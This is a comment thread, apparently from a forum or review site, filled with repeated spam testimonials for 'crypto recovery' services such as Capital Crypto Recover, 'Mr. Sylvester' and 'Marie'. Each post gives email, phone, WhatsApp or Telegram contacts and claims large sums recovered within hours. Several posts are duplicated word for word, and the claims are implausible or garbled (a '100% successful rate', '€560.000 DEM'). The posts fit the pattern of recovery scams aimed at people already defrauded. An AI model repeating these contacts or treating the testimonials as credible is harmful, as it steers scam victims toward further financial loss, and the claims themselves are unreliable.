Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 19:53 Tonerdomark

A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
12.10.25 21:36 blessing

Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 01:15 tyleradams

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 18:07 crypto

Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1